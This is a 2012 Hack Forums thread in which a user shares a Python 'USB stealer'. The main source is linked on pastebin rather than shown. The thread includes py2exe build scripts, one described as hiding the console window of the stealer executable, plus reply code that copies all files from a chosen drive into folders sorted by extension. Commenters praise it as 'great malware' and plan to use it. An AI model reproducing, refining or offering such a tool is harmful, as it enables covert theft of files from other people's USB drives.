Hack Forums
[Python] USB Stealer Source - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Python] USB Stealer Source (/showthread.php?tid=2779279)

Pages: Pages 1 2


USB Stealer Source - ott-hon - Aug 15, 2012

Hi guys This is a USB stealer I made in python and some of the HF users helped me with this

stealer.pyw source http://pastebin.com/jyLW5K6M

setup.py source http://pastebin.com/af5MM6Q4

generated settings.txt file:
Spoiler (Click to View)

to make a single exe from one py or pyw use py2exe on 32bit windows with this py2exe.py file

setup.py
Code
from distutils.core import setup
import py2exe

setup(
    console=['setup.py'],
    options={'py2exe': {'bundle_files': 1}},
    zipfile = None
)

stealer.pyw (this will hide the CMD window on the final exe)

Code
from distutils.core import setup
import py2exe

setup(
    windows=['stealer.pyw'],
    options={'py2exe': {'bundle_files': 1}},
    zipfile = None
)

BIG THANKS TO THESE USERS
Max00355
JrMn
The Unknown
r0cket
Netloot.in


I was trying to post it to the hacking tools but only l33t and ub3rs can post there.

So I posted it on Beginner Hacking section and it got deleted :D

Image used Spoiler (Click to View)


* - notepadman - Aug 15, 2012

Thanks for this man, good tool that I will make use of soon.


* - EvilShot - Aug 15, 2012

I have just started python recently and i only know the basics and this doesn't make any sense to me :/


* - Zetas - Oct 25, 2012

Does this script only work on windows?


* - ott-hon - Oct 25, 2012

(Oct 25, 2012 03:56 PM)Polarfucked Wrote:  Does this script only work on windows?

Hm, good question I think this can work on linux and mac os too. but you will have to edit the 159, 166. line and some more.


* - yungdsl - Oct 25, 2012

Do you really need that many if statements?..


* - ott-hon - Oct 25, 2012

(Oct 25, 2012 09:00 PM)Kaonashi Wrote:  Do you really need that many if statements?..

yes I needed it, note this was my first real project I dont really know how I finished it :D


* - PseudoMander - Oct 25, 2012

Code
import os
from shutil import copy
Drive=raw_input('What Drive? -->')
path = Drive+':\\'
listing = os.listdir(path)
for filen in listing:
    for i in range(len(filen)):
  if filen[i]=='.':
    break
    if i ==len(filen)-1:
  i=i+1
    extension=filen[i:]

    if  extension=='':
  print 'Copied The Directory \''+filen+'\' To Directories Folder.'
  copyfile(path+filen, '.\\'+filen )
    else:
  extension=" ".join(extension.split('.')) #to handle occurences where two .'s occur
  print 'Copied The File \''+filen+'\' To \'\\'+extension+'\\\'.'
  if not os.path.exists('.\\'+extension):
    os.makedirs('.\\'+extension)
  copyfile(path+filen, '.\\'+extension+'\\'+filen)



* - gungunfebrianza - Oct 26, 2012

Thanks for sharing the source code sir, this is what i want :)
Great malware !


* - Grow - Oct 27, 2012

This is very nice dude, especially for a first release.


* - gungunfebrianza - Oct 28, 2012

it's work perfect 100 % in my PC. win 7 sir :blakhat:


* - Takebacker - Oct 29, 2012

You might want to read up on loops, and program flow in general. A LOT of this can be optimized, as I did with this block that checks and creates the directories (there's still room for renovation):

Code
fileExtensions = ['txt', 'pdf', 'log', 'doc', 'docx', ] # and on and on...

def createDirectory(directory):
    if not os.path.exists(directory):
        os.makedirs(directory)

[createDirectory(os.getcwd() + "/SLD/" + getpass.getuser() + "/" + extension) for extension in fileExtensions]

# with map method:
# map(lambda extension: createDirectory(extension), fileExtensions)



* - Beta1Dolphin - Oct 31, 2012

Simple but very useful, but I guess the code could of been better.


* - Douwz - Nov 8, 2012

Thanks bro , that is my help hahaha !


* - aBlackAulaeum - Nov 8, 2012

Nice work dude!
Keep it up!

Greetings